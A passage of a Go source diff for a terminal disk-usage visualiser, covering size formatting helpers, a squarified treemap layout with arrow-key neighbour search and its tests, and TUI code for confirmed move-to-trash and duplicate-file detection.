for v >= base && i < len(units)-1 {
|
||||
v /= base
|
||||
i++
|
||||
}
|
||||
if neg {
|
||||
v = -v
|
||||
}
|
||||
return v, units[i]
|
||||
}
|
||||
|
||||
func num(v float64, unit string) string {
|
||||
a := v
|
||||
if a < 0 {
|
||||
a = -a
|
||||
}
|
||||
switch {
|
||||
case unit == "B":
|
||||
return strconv.FormatFloat(v, 'f', 0, 64)
|
||||
case a < 10:
|
||||
return strconv.FormatFloat(v, 'f', 2, 64)
|
||||
case a < 100:
|
||||
return strconv.FormatFloat(v, 'f', 1, 64)
|
||||
default:
|
||||
return strconv.FormatFloat(v, 'f', 0, 64)
|
||||
}
|
||||
}
|
||||
|
||||
// Size formats a byte count, e.g. "86.4 GiB".
|
||||
func Size(n int64) string {
|
||||
v, u := scaled(n)
|
||||
return num(v, u) + " " + u
|
||||
}
|
||||
|
||||
// SizeCompact formats a byte count in at most ~7 cells, e.g. "86GiB".
|
||||
func SizeCompact(n int64) string {
|
||||
v, u := scaled(n)
|
||||
a := v
|
||||
if a < 0 {
|
||||
a = -a
|
||||
}
|
||||
if u != "B" && a < 10 {
|
||||
return strconv.FormatFloat(v, 'f', 1, 64) + u
|
||||
}
|
||||
return strconv.FormatFloat(v, 'f', 0, 64) + u
|
||||
}
|
||||
|
||||
// SignedSize formats a delta with an explicit sign.
|
||||
func SignedSize(n int64) string {
|
||||
if n > 0 {
|
||||
return "+" + Size(n)
|
||||
}
|
||||
if n < 0 {
|
||||
return "-" + Size(-n)
|
||||
}
|
||||
return "±0 B"
|
||||
}
|
||||
|
||||
// Count formats an integer with thousands separators.
|
||||
func Count(n int64) string {
|
||||
s := strconv.FormatInt(n, 10)
|
||||
neg := false
|
||||
if n < 0 {
|
||||
neg, s = true, s[1:]
|
||||
}
|
||||
out := make([]byte, 0, len(s)+len(s)/3)
|
||||
for i := range len(s) {
|
||||
if i > 0 && (len(s)-i)%3 == 0 {
|
||||
out = append(out, ',')
|
||||
}
|
||||
out = append(out, s[i])
|
||||
}
|
||||
if neg {
|
||||
return "-" + string(out)
|
||||
}
|
||||
return string(out)
|
||||
}
|
||||
|
||||
// Duration formats an elapsed time as mm:ss or h:mm:ss.
|
||||
func Duration(d time.Duration) string {
|
||||
s := int64(d.Seconds())
|
||||
if s >= 3600 {
|
||||
return fmt.Sprintf("%d:%02d:%02d", s/3600, s/60%60, s%60)
|
||||
}
|
||||
return fmt.Sprintf("%02d:%02d", s/60, s%60)
|
||||
}
|
||||
|
||||
// Percent formats part/whole as a percentage.
|
||||
func Percent(part, whole int64) string {
|
||||
if whole <= 0 {
|
||||
return "–"
|
||||
}
|
||||
p := float64(part) * 100 / float64(whole)
|
||||
if p < 10 {
|
||||
return strconv.FormatFloat(p, 'f', 1, 64) + "%"
|
||||
}
|
||||
return strconv.FormatFloat(p, 'f', 0, 64) + "%"
|
||||
}
|
||||
@@ -0,0 +1,106 @@
|
||||
package treemap
|
||||
|
||||
// Direction is an arrow-key direction.
|
||||
type Direction int
|
||||
|
||||
const (
|
||||
Left Direction = iota
|
||||
Right
|
||||
Up
|
||||
Down
|
||||
)
|
||||
|
||||
// Neighbour finds the block a user expects to reach by pressing an arrow
|
||||
// key from the block with ID sel:
|
||||
//
|
||||
// 1. Only blocks entirely beyond the selected block's edge in the
|
||||
// direction of travel are candidates.
|
||||
// 2. Blocks whose span overlaps the selected block's orthogonal span are
|
||||
// strongly preferred over all others.
|
||||
// 3. Then the smallest gap along the direction of travel wins.
|
||||
// 4. Then the largest overlap with the selected block's span.
|
||||
// 5. Then the block whose orthogonal span is closest to the selected
|
||||
// block's centre line (0 if it contains it).
|
||||
// 6. Ties break by position (top, then left) and finally ID.
|
||||
//
|
||||
// It returns false if there is no block in that direction.
|
||||
func Neighbour(blocks []Block, sel int64, d Direction) (int64, bool) {
|
||||
var s Block
|
||||
found := false
|
||||
for _, b := range blocks {
|
||||
if b.ID == sel {
|
||||
s, found = b, true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
return 0, false
|
||||
}
|
||||
type score struct {
|
||||
tier, gap, ovl, off, y, x int
|
||||
id int64
|
||||
}
|
||||
less := func(a, b score) bool {
|
||||
switch {
|
||||
case a.tier != b.tier:
|
||||
return a.tier < b.tier
|
||||
case a.gap != b.gap:
|
||||
return a.gap < b.gap
|
||||
case a.ovl != b.ovl:
|
||||
return a.ovl > b.ovl
|
||||
case a.off != b.off:
|
||||
return a.off < b.off
|
||||
case a.y != b.y:
|
||||
return a.y < b.y
|
||||
case a.x != b.x:
|
||||
return a.x < b.x
|
||||
}
|
||||
return a.id < b.id
|
||||
}
|
||||
var best score
|
||||
have := false
|
||||
for _, c := range blocks {
|
||||
if c.ID == sel {
|
||||
continue
|
||||
}
|
||||
var gap, lo, hi, clo, chi int
|
||||
var ok bool
|
||||
switch d {
|
||||
case Right:
|
||||
ok, gap = c.X >= s.X+s.W, c.X-(s.X+s.W)
|
||||
lo, hi, clo, chi = s.Y, s.Y+s.H, c.Y, c.Y+c.H
|
||||
case Left:
|
||||
ok, gap = c.X+c.W <= s.X, s.X-(c.X+c.W)
|
||||
lo, hi, clo, chi = s.Y, s.Y+s.H, c.Y, c.Y+c.H
|
||||
case Down:
|
||||
ok, gap = c.Y >= s.Y+s.H, c.Y-(s.Y+s.H)
|
||||
lo, hi, clo, chi = s.X, s.X+s.W, c.X, c.X+c.W
|
||||
case Up:
|
||||
ok, gap = c.Y+c.H <= s.Y, s.Y-(c.Y+c.H)
|
||||
lo, hi, clo, chi = s.X, s.X+s.W, c.X, c.X+c.W
|
||||
}
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
tier, ovl := 1, min(hi, chi)-max(lo, clo)
|
||||
if ovl > 0 {
|
||||
tier = 0
|
||||
} else {
|
||||
ovl = 0
|
||||
}
|
||||
// Distance (doubled, to stay integral) from the selected centre
|
||||
// line to the candidate's span; 0 if the span contains it.
|
||||
centre := lo + hi
|
||||
off := 0
|
||||
if centre < 2*clo {
|
||||
off = 2*clo - centre
|
||||
} else if centre > 2*chi {
|
||||
off = centre - 2*chi
|
||||
}
|
||||
sc := score{tier, gap, ovl, off, c.Y, c.X, c.ID}
|
||||
if !have || less(sc, best) {
|
||||
best, have = sc, true
|
||||
}
|
||||
}
|
||||
return best.id, have
|
||||
}
|
||||
@@ -0,0 +1,189 @@
|
||||
// Package treemap is pure geometry: squarified layout on a cell grid,
|
||||
// level-of-detail selection and spatial neighbour search. It has no
|
||||
// knowledge of filesystems or terminals.
|
||||
package treemap
|
||||
|
||||
import (
|
||||
"math"
|
||||
"sort"
|
||||
)
|
||||
|
||||
// Rect is an integer cell rectangle.
|
||||
type Rect struct{ X, Y, W, H int }
|
||||
|
||||
// Empty reports whether r has no cells.
|
||||
func (r Rect) Empty() bool { return r.W <= 0 || r.H <= 0 }
|
||||
|
||||
// Area returns W*H.
|
||||
func (r Rect) Area() int { return max(r.W, 0) * max(r.H, 0) }
|
||||
|
||||
// Contains reports whether the cell (x, y) is inside r.
|
||||
func (r Rect) Contains(x, y int) bool { return x >= r.X && x < r.X+r.W && y >= r.Y && y < r.Y+r.H }
|
||||
|
||||
// Inset shrinks r by n cells on each side.
|
||||
func (r Rect) Inset(n int) Rect {
|
||||
r = Rect{r.X + n, r.Y + n, r.W - 2*n, r.H - 2*n}
|
||||
if r.W < 0 {
|
||||
r.W = 0
|
||||
}
|
||||
if r.H < 0 {
|
||||
r.H = 0
|
||||
}
|
||||
return r
|
||||
}
|
||||
|
||||
// Item is something to lay out. Size must be > 0 to receive space.
|
||||
type Item struct {
|
||||
ID int64
|
||||
Size float64
|
||||
}
|
||||
|
||||
// Block is a laid-out item.
|
||||
type Block struct {
|
||||
ID int64
|
||||
Rect
|
||||
}
|
||||
|
||||
// Squarify lays items out inside bounds using the squarified treemap
|
||||
// algorithm (Bruls, Huizing, van Wijk). Items with non-positive size are
|
||||
// ignored. The output partitions bounds exactly: rectangle edges are snapped
|
||||
// to the grid by rounding shared float edges, so there are no gaps and no
|
||||
// overlaps. Items that round to zero width or height are omitted. The result
|
||||
// is deterministic for a given input set regardless of input order.
|
||||
func Squarify(items []Item, bounds Rect) []Block {
|
||||
if bounds.Empty() {
|
||||
return nil
|
||||
}
|
||||
its := make([]Item, 0, len(items))
|
||||
total := 0.0
|
||||
for _, it := range items {
|
||||
if it.Size > 0 && !math.IsInf(it.Size, 0) && !math.IsNaN(it.Size) {
|
||||
its = append(its, it)
|
||||
total += it.Size
|
||||
}
|
||||
}
|
||||
if len(its) == 0 || total <= 0 {
|
||||
return nil
|
||||
}
|
||||
sort.SliceStable(its, func(i, j int) bool {
|
||||
if its[i].Size != its[j].Size {
|
||||
return its[i].Size > its[j].Size
|
||||
}
|
||||
return its[i].ID < its[j].ID
|
||||
})
|
||||
scale := float64(bounds.W) * float64(bounds.H) / total
|
||||
areas := make([]float64, len(its))
|
||||
for i, it := range its {
|
||||
areas[i] = it.Size * scale
|
||||
}
|
||||
frs := layout(areas, float64(bounds.X), float64(bounds.Y), float64(bounds.W), float64(bounds.H))
|
||||
out := make([]Block, 0, len(its))
|
||||
for i, f := range frs {
|
||||
x0, y0 := int(math.Round(f[0])), int(math.Round(f[1]))
|
||||
x1, y1 := int(math.Round(f[0]+f[2])), int(math.Round(f[1]+f[3]))
|
||||
x1 = min(x1, bounds.X+bounds.W)
|
||||
y1 = min(y1, bounds.Y+bounds.H)
|
||||
if x1 > x0 && y1 > y0 {
|
||||
out = append(out, Block{ID: its[i].ID, Rect: Rect{x0, y0, x1 - x0, y1 - y0}})
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// worst returns the worst aspect ratio of a row with the given sum, largest
|
||||
// and smallest areas laid along a side of length side.
|
||||
func worst(sum, largest, smallest, side float64) float64 {
|
||||
s2, w2 := sum*sum, side*side
|
||||
return math.Max(w2*largest/s2, s2/(w2*smallest))
|
||||
}
|
||||
|
||||
// layout returns float rectangles [x, y, w, h] for areas sorted descending.
|
||||
func layout(areas []float64, x, y, w, h float64) [][4]float64 {
|
||||
out := make([][4]float64, len(areas))
|
||||
n := len(areas)
|
||||
for i := 0; i < n; {
|
||||
short := math.Min(w, h)
|
||||
j := i + 1
|
||||
sum := areas[i]
|
||||
cur := worst(sum, areas[i], areas[i], short)
|
||||
for j < n {
|
||||
s2 := sum + areas[j]
|
||||
if nw := worst(s2, areas[i], areas[j], short); nw > cur {
|
||||
break
|
||||
} else {
|
||||
cur = nw
|
||||
}
|
||||
sum = s2
|
||||
j++
|
||||
}
|
||||
last := j == n
|
||||
if w >= h {
|
||||
thick := sum / h
|
||||
if last || thick > w {
|
||||
thick = w
|
||||
}
|
||||
yy := y
|
||||
for k := i; k < j; k++ {
|
||||
hh := areas[k] / sum * h
|
||||
if k == j-1 {
|
||||
hh = y + h - yy
|
||||
}
|
||||
out[k] = [4]float64{x, yy, thick, hh}
|
||||
yy += hh
|
||||
}
|
||||
x += thick
|
||||
w -= thick
|
||||
} else {
|
||||
thick := sum / w
|
||||
if last || thick > h {
|
||||
thick = h
|
||||
}
|
||||
xx := x
|
||||
for k := i; k < j; k++ {
|
||||
ww := areas[k] / sum * w
|
||||
if k == j-1 {
|
||||
ww = x + w - xx
|
||||
}
|
||||
out[k] = [4]float64{xx, y, ww, thick}
|
||||
xx += ww
|
||||
}
|
||||
y += thick
|
||||
h -= thick
|
||||
}
|
||||
i = j
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// Visible decides how many leading items of a size-sorted (descending)
|
||||
// list deserve their own block when area cells represent total: items are
|
||||
// kept while each would get at least minArea cells and fewer than maxItems
|
||||
// have been kept. The remainder should be merged into one group block.
|
||||
func Visible(sizes []float64, total float64, area, minArea, maxItems int) int {
|
||||
if total <= 0 || area <= 0 {
|
||||
return 0
|
||||
}
|
||||
k := 0
|
||||
for k < len(sizes) && k < maxItems {
|
||||
if sizes[k]/total*float64(area) < float64(minArea) {
|
||||
break
|
||||
}
|
||||
k++
|
||||
}
|
||||
// Grouping a single leftover item gains nothing; show it directly if it
|
||||
// gets at least one cell.
|
||||
if k == len(sizes)-1 && k < maxItems && sizes[k]/total*float64(area) >= 1 {
|
||||
k++
|
||||
}
|
||||
return k
|
||||
}
|
||||
|
||||
// At returns the block containing the cell (x, y).
|
||||
func At(blocks []Block, x, y int) (int64, bool) {
|
||||
for _, b := range blocks {
|
||||
if b.Contains(x, y) {
|
||||
return b.ID, true
|
||||
}
|
||||
}
|
||||
return 0, false
|
||||
}
|
||||
@@ -0,0 +1,247 @@
|
||||
package treemap
|
||||
|
||||
import (
|
||||
"math/rand"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func checkPartition(t *testing.T, blocks []Block, b Rect, exact bool) {
|
||||
t.Helper()
|
||||
grid := make([]int, b.W*b.H)
|
||||
for _, bl := range blocks {
|
||||
if bl.W <= 0 || bl.H <= 0 {
|
||||
t.Fatalf("non-positive block %+v", bl)
|
||||
}
|
||||
if bl.X < b.X || bl.Y < b.Y || bl.X+bl.W > b.X+b.W || bl.Y+bl.H > b.Y+b.H {
|
||||
t.Fatalf("block %+v outside bounds %+v", bl, b)
|
||||
}
|
||||
for y := bl.Y; y < bl.Y+bl.H; y++ {
|
||||
for x := bl.X; x < bl.X+bl.W; x++ {
|
||||
i := (y-b.Y)*b.W + (x - b.X)
|
||||
if grid[i] != 0 {
|
||||
t.Fatalf("overlap at %d,%d", x, y)
|
||||
}
|
||||
grid[i] = 1
|
||||
}
|
||||
}
|
||||
}
|
||||
if exact {
|
||||
for i, v := range grid {
|
||||
if v == 0 {
|
||||
t.Fatalf("gap at %d,%d", b.X+i%b.W, b.Y+i/b.W)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestSquarifyBasic(t *testing.T) {
|
||||
b := Rect{2, 3, 60, 20}
|
||||
items := []Item{{1, 6}, {2, 6}, {3, 4}, {4, 3}, {5, 2}, {6, 2}, {7, 1}}
|
||||
blocks := Squarify(items, b)
|
||||
if len(blocks) != len(items) {
|
||||
t.Fatalf("got %d blocks", len(blocks))
|
||||
}
|
||||
checkPartition(t, blocks, b, true)
|
||||
// Areas roughly proportional.
|
||||
for _, bl := range blocks {
|
||||
want := float64(b.Area()) * items[bl.ID-1].Size / 24
|
||||
if got := float64(bl.Area()); got < want*0.6-4 || got > want*1.4+4 {
|
||||
t.Errorf("block %d area %v want ~%v", bl.ID, got, want)
|
||||
}
|
||||
}
|
||||
// Deterministic regardless of input order.
|
||||
rev := append([]Item(nil), items...)
|
||||
for i, j := 0, len(rev)-1; i < j; i, j = i+1, j-1 {
|
||||
rev[i], rev[j] = rev[j], rev[i]
|
||||
}
|
||||
b2 := Squarify(rev, b)
|
||||
for i := range blocks {
|
||||
if blocks[i] != b2[i] {
|
||||
t.Fatal("layout depends on input order")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestSquarifyEdgeCases(t *testing.T) {
|
||||
if Squarify(nil, Rect{0, 0, 10, 10}) != nil {
|
||||
t.Fatal("nil items")
|
||||
}
|
||||
if Squarify([]Item{{1, 0}, {2, -5}}, Rect{0, 0, 10, 10}) != nil {
|
||||
t.Fatal("zero sizes should produce nothing")
|
||||
}
|
||||
for _, b := range []Rect{{0, 0, 0, 0}, {0, 0, 1, 1}, {0, 0, 1, 50}, {0, 0, 50, 1}, {0, 0, -3, 4}} {
|
||||
bl := Squarify([]Item{{1, 5}, {2, 3}, {3, 1}}, b)
|
||||
if !b.Empty() {
|
||||
checkPartition(t, bl, b, true)
|
||||
}
|
||||
}
|
||||
// One enormous item and many tiny ones.
|
||||
items := []Item{{0, 1e15}}
|
||||
for i := 1; i < 500; i++ {
|
||||
items = append(items, Item{int64(i), 1})
|
||||
}
|
||||
bl := Squarify(items, Rect{0, 0, 80, 24})
|
||||
checkPartition(t, bl, Rect{0, 0, 80, 24}, true)
|
||||
}
|
||||
|
||||
func TestResizeRecomputes(t *testing.T) {
|
||||
items := []Item{{1, 50}, {2, 30}, {3, 20}}
|
||||
for _, b := range []Rect{{0, 0, 80, 24}, {0, 0, 120, 40}, {0, 0, 300, 80}, {0, 0, 70, 20}, {0, 0, 180, 50}} {
|
||||
bl := Squarify(items, b)
|
||||
checkPartition(t, bl, b, true)
|
||||
if len(bl) != 3 {
|
||||
t.Fatalf("%v: %d blocks", b, len(bl))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func FuzzSquarify(f *testing.F) {
|
||||
f.Add(int64(1), 80, 24, 10)
|
||||
f.Add(int64(2), 3, 2, 100)
|
||||
f.Add(int64(3), 300, 90, 1000)
|
||||
f.Fuzz(func(t *testing.T, seed int64, w, h, n int) {
|
||||
w, h, n = w%400, h%150, n%3000
|
||||
if w < 0 || h < 0 || n < 0 {
|
||||
return
|
||||
}
|
||||
r := rand.New(rand.NewSource(seed))
|
||||
items := make([]Item, n)
|
||||
for i := range items {
|
||||
items[i] = Item{int64(i), float64(r.Int63n(1 << uint(r.Intn(40)+1)))}
|
||||
}
|
||||
b := Rect{r.Intn(10), r.Intn(10), w, h}
|
||||
bl := Squarify(items, b)
|
||||
if !b.Empty() && len(bl) > 0 {
|
||||
checkPartition(t, bl, b, true)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestVisible(t *testing.T) {
|
||||
sizes := []float64{100, 50, 10, 1, 1, 1}
|
||||
if k := Visible(sizes, 163, 1630, 20, 100); k != 3 {
|
||||
t.Fatalf("k=%d", k)
|
||||
}
|
||||
if k := Visible(sizes, 163, 1630, 20, 2); k != 2 {
|
||||
t.Fatalf("maxItems k=%d", k)
|
||||
}
|
||||
if k := Visible([]float64{10, 1}, 11, 1100, 200, 10); k != 2 {
|
||||
t.Fatalf("single leftover k=%d", k)
|
||||
}
|
||||
}
|
||||
|
||||
// Layout:
|
||||
//
|
||||
// ┌───────┬───────┐
|
||||
// │ A │ B │
|
||||
// ├───┬───┴───────┤
|
||||
// │ C │ D │
|
||||
// └───┴───────────┘
|
||||
func TestNeighbour(t *testing.T) {
|
||||
A := Block{1, Rect{0, 0, 8, 4}}
|
||||
B := Block{2, Rect{8, 0, 8, 4}}
|
||||
C := Block{3, Rect{0, 4, 4, 4}}
|
||||
D := Block{4, Rect{4, 4, 12, 4}}
|
||||
bs := []Block{D, C, B, A} // order must not matter
|
||||
cases := []struct {
|
||||
from int64
|
||||
d Direction
|
||||
want int64
|
||||
ok bool
|
||||
}{
|
||||
{1, Right, 2, true}, {2, Left, 1, true}, {1, Down, 3, true}, {2, Down, 4, true},
|
||||
{3, Right, 4, true}, {4, Left, 3, true}, {3, Up, 1, true}, {4, Up, 2, true},
|
||||
{1, Left, 0, false}, {1, Up, 0, false}, {4, Right, 0, false}, {4, Down, 0, false},
|
||||
}
|
||||
for _, c := range cases {
|
||||
got, ok := Neighbour(bs, c.from, c.d)
|
||||
if ok != c.ok || got != c.want {
|
||||
t.Errorf("from %d dir %d: got %d,%v want %d,%v", c.from, c.d, got, ok, c.want, c.ok)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestNeighbourPrefersAdjacentOverArrayOrder(t *testing.T) {
|
||||
// S is on the left; R is directly right; F is far right and lower but
|
||||
// appears first in the slice.
|
||||
S := Block{1, Rect{0, 0, 10, 5}}
|
||||
R := Block{2, Rect{10, 0, 10, 5}}
|
||||
F := Block{3, Rect{10, 20, 30, 5}}
|
||||
if got, _ := Neighbour([]Block{F, S, R}, 1, Right); got != 2 {
|
||||
t.Fatalf("got %d", got)
|
||||
}
|
||||
// Tall block on the left with three stacked blocks to the right: pick
|
||||
// the one at the centre line.
|
||||
T := Block{10, Rect{0, 0, 10, 9}}
|
||||
r1 := Block{11, Rect{10, 0, 10, 3}}
|
||||
r2 := Block{12, Rect{10, 3, 10, 3}}
|
||||
r3 := Block{13, Rect{10, 6, 10, 3}}
|
||||
if got, _ := Neighbour([]Block{r3, r1, r2, T}, 10, Right); got != 12 {
|
||||
t.Fatalf("centre preference: got %d", got)
|
||||
}
|
||||
if got, _ := Neighbour([]Block{r3, r1, r2, T}, 13, Left); got != 10 {
|
||||
t.Fatalf("back left: got %d", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNeighbourRandomLayoutsAlwaysAdjacent(t *testing.T) {
|
||||
r := rand.New(rand.NewSource(7))
|
||||
for iter := 0; iter < 200; iter++ {
|
||||
items := make([]Item, 2+r.Intn(30))
|
||||
for i := range items {
|
||||
items[i] = Item{int64(i), float64(1 + r.Intn(1000))}
|
||||
}
|
||||
bl := Squarify(items, Rect{0, 0, 120, 40})
|
||||
for _, s := range bl {
|
||||
for _, d := range []Direction{Left, Right, Up, Down} {
|
||||
id, ok := Neighbour(bl, s.ID, d)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
var c Block
|
||||
for _, b := range bl {
|
||||
if b.ID == id {
|
||||
c = b
|
||||
}
|
||||
}
|
||||
// In a partition, if any block touches the edge in direction d
|
||||
// with overlapping span, the chosen one must touch too.
|
||||
var touch bool
|
||||
switch d {
|
||||
case Right:
|
||||
touch = c.X == s.X+s.W
|
||||
case Left:
|
||||
touch = c.X+c.W == s.X
|
||||
case Down:
|
||||
touch = c.Y == s.Y+s.H
|
||||
case Up:
|
||||
touch = c.Y+c.H == s.Y
|
||||
}
|
||||
if !touch {
|
||||
t.Fatalf("iter %d: from %+v dir %d chose non-adjacent %+v", iter, s, d, c)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func BenchmarkSquarify(b *testing.B) {
|
||||
items := make([]Item, 300)
|
||||
for i := range items {
|
||||
items[i] = Item{int64(i), float64(1 + i*i)}
|
||||
}
|
||||
for b.Loop() {
|
||||
Squarify(items, Rect{0, 0, 200, 60})
|
||||
}
|
||||
}
|
||||
|
||||
func BenchmarkNeighbour(b *testing.B) {
|
||||
items := make([]Item, 300)
|
||||
for i := range items {
|
||||
items[i] = Item{int64(i), float64(1 + i*i)}
|
||||
}
|
||||
bl := Squarify(items, Rect{0, 0, 200, 60})
|
||||
for b.Loop() {
|
||||
Neighbour(bl, 150, Right)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,257 @@
|
||||
package tui
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"time"
|
||||
|
||||
tea "charm.land/bubbletea/v2"
|
||||
|
||||
"github.com/andydixon/mapsize/internal/duplicate"
|
||||
"github.com/andydixon/mapsize/internal/inventory"
|
||||
"github.com/andydixon/mapsize/internal/platform"
|
||||
"github.com/andydixon/mapsize/internal/textutil"
|
||||
"github.com/andydixon/mapsize/internal/treemap"
|
||||
)
|
||||
|
||||
// ---- Trash ---------------------------------------------------------------
|
||||
|
||||
type trashDoneMsg struct {
|
||||
tree *inventory.Tree // the tree id belongs to; results for a replaced tree are dropped
|
||||
id inventory.NodeID
|
||||
err error
|
||||
}
|
||||
|
||||
// requestTrash asks for confirmation before moving the selection to the
|
||||
// trash. Permanent deletion is deliberately not offered.
|
||||
func (m *Model) requestTrash() tea.Cmd {
|
||||
switch {
|
||||
case m.opts.ReadOnly:
|
||||
return m.warn("Read-only mode: modifying actions are disabled")
|
||||
case m.snapshot:
|
||||
return m.warn("Snapshot view: nothing to delete on the live filesystem")
|
||||
case m.scanning:
|
||||
return m.warn("Wait for the scan to finish before trashing items")
|
||||
}
|
||||
id := m.selectedNode()
|
||||
if id == inventory.NoNode || id == m.tree.Root() {
|
||||
return nil
|
||||
}
|
||||
n := m.tree.Node(id)
|
||||
path := m.tree.Path(id)
|
||||
what := "file"
|
||||
if n.IsDir() {
|
||||
what = fmt.Sprintf("directory with %s files", textutil.Count(int64(n.Files)))
|
||||
}
|
||||
m.openModal(&confirmModal{
|
||||
ttl: "Move to trash?",
|
||||
body: []string{textutil.Sanitize(path), "",
|
||||
fmt.Sprintf("%s · %s", what, textutil.Size(n.Total(m.sizeMode))),
|
||||
"", "It will be moved to the " + platform.TrashName + ", not permanently deleted."},
|
||||
yes: "move to " + platform.TrashName,
|
||||
onYes: func(m *Model) tea.Cmd {
|
||||
t := m.tree
|
||||
return func() tea.Msg { return trashDoneMsg{t, id, platform.Trash(path)} }
|
||||
},
|
||||
})
|
||||
return nil
|
||||
}
|
||||
|
||||
func (m *Model) trashDone(msg trashDoneMsg) tea.Cmd {
|
||||
if msg.err != nil {
|
||||
return m.warn("Trash failed: " + textutil.Sanitize(msg.err.Error()))
|
||||
}
|
||||
if msg.tree != m.tree || m.scanning {
|
||||
// A rescan replaced the inventory; the new scan reflects the change.
|
||||
return m.info("Moved to " + platform.TrashName)
|
||||
}
|
||||
// The scan has finished, so the UI goroutine is the tree's only writer.
|
||||
t := m.tree
|
||||
t.Lock()
|
||||
n := t.Node(msg.id)
|
||||
n.Flags |= inventory.FlagDeleted
|
||||
d := inventory.Delta{Size: -n.TotSize, Alloc: -n.TotAlloc, Files: -int64(n.Files), Dirs: -int64(n.Dirs)}
|
||||
if n.IsDir() {
|
||||
d.Dirs--
|
||||
for i, v := range t.CatSizes(msg.id) {
|
||||
d.Cat[i] = -v
|
||||
}
|
||||
} else {
|
||||
d.Files--
|
||||
d.Cat[n.Cat] = -n.TotAlloc
|
||||
}
|
||||
t.Propagate(n.Parent, d)
|
||||
n.TotSize, n.TotAlloc = 0, 0
|
||||
name := n.Name
|
||||
t.Unlock()
|
||||
m.invalidate()
|
||||
return m.info("Moved to " + platform.TrashName + ": " + textutil.Sanitize(name))
|
||||
}
|
||||
|
||||
// ---- Duplicates ----------------------------------------------------------
|
||||
|
||||
type dupState struct {
|
||||
running bool
|
||||
finder *duplicate.Finder
|
||||
groups []duplicate.Group
|
||||
err error
|
||||
cancel context.CancelFunc
|
||||
started time.Time
|
||||
}
|
||||
|
||||
type (
|
||||
dupProgressMsg struct{}
|
||||
dupDoneMsg struct {
|
||||
finder *duplicate.Finder // identifies the search; stale results are dropped
|
||||
groups []duplicate.Group
|
||||
err error
|
||||
}
|
||||
)
|
||||
|
||||
func (m *Model) startDuplicates() tea.Cmd {
|
||||
if m.snapshot {
|
||||
return m.warn("Duplicate detection needs the live filesystem")
|
||||
}
|
||||
if m.scanning {
|
||||
return m.warn("Wait for the scan to finish first")
|
||||
}
|
||||
if m.dups != nil {
|
||||
m.ensureDupView()
|
||||
return nil
|
||||
}
|
||||
m.openModal(&confirmModal{
|
||||
ttl: "Find duplicate files?",
|
||||
body: []string{
|
||||
"Files are grouped by size, then sampled, then fully hashed with SHA-256.",
|
||||
"Only identical hashes are reported as duplicates.",
|
||||
"", "This reads file contents (it may take a while and can update access times).",
|
||||
},
|
||||
yes: "start",
|
||||
onYes: func(m *Model) tea.Cmd {
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
f := &duplicate.Finder{}
|
||||
m.dups = &dupState{running: true, finder: f, cancel: cancel, started: time.Now()}
|
||||
m.ensureDupView()
|
||||
t := m.tree
|
||||
return tea.Batch(m.startTicking(), func() tea.Msg {
|
||||
g, err := f.Find(ctx, t, duplicate.Options{MinSize: 1, Workers: 4})
|
||||
return dupDoneMsg{f, g, err}
|
||||
})
|
||||
},
|
||||
})
|
||||
return nil
|
||||
}
|
||||
|
||||
func (m *Model) ensureDupView() {
|
||||
for i, v := range m.views {
|
||||
if _, ok := v.(*dupView); ok {
|
||||
m.setView(i)
|
||||
return
|
||||
}
|
||||
}
|
||||
m.views = append(m.views, &dupView{})
|
||||
m.setView(len(m.views) - 1)
|
||||
}
|
||||
|
||||
func (m *Model) dupMsg(msg tea.Msg) tea.Cmd {
|
||||
if d, ok := msg.(dupDoneMsg); ok && m.dups != nil && d.finder == m.dups.finder {
|
||||
m.dups.running = false
|
||||
m.dups.groups, m.dups.err = d.groups, d.err
|
||||
m.dirty = true
|
||||
var wasted int64
|
||||
for _, g := range d.groups {
|
||||
wasted += g.Wasted()
|
||||
}
|
||||
return m.info(fmt.Sprintf("Duplicates: %d verified groups, %s reclaimable", len(d.groups), textutil.Size(wasted)))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
type dupView struct {
|
||||
tb table
|
||||
rows []dupRow
|
||||
}
|
||||
|
||||
type dupRow struct {
|
||||
group int
|
||||
id inventory.NodeID // NoNode for a group header
|
||||
}
|
||||
|
||||
func (*dupView) name() string { return "Dups" }
|
||||
|
||||
func (v *dupView) paint(m *Model, cv *Canvas, r treemap.Rect) {
|
||||
t := m.theme
|
||||
d := m.dups
|
||||
if d == nil {
|
||||
cv.TextCentered(r.X, r.Y+r.H/2, r.W, "Press D to search for duplicates", t.muted())
|
||||
return
|
||||
}
|
||||
if d.running {
|
||||
p := d.finder.Progress()
|
||||
cv.Fill(r, " ", t.base())
|
||||
y := r.Y + r.H/2 - 2
|
||||
cv.TextCentered(r.X, y, r.W, "Finding duplicates — "+p.Stage+"…", Style{FG: t.Accent, BG: t.Bg, Attr: Bold})
|
||||
cv.TextCentered(r.X, y+2, r.W, fmt.Sprintf("%s candidate files in %s size groups", textutil.Count(p.Candidates),
|
||||
textutil.Count(p.CandidateGroups)), t.base())
|
||||
if p.BytesToHash > 0 {
|
||||
frac := float64(p.BytesHashed) / float64(p.BytesToHash)
|
||||
bw := min(60, r.W-10)
|
||||
m.paintBar(cv, r.X+(r.W-bw)/2, y+4, bw, frac, t.Accent, false)
|
||||
cv.TextCentered(r.X, y+5, r.W, fmt.Sprintf("%s of %s hashed · %s skipped", textutil.Size(p.BytesHashed),
|
||||
textutil.Size(p.BytesToHash), textutil.Count(p.Skipped)), t.muted())
|
||||
}
|
||||
return
|
||||
}
|
||||
v.rows = v.rows[:0]
|
||||
var tr []tableRow
|
||||
for gi, g := range d.groups {
|
||||
v.rows = append(v.rows, dupRow{gi, inventory.NoNode})
|
||||
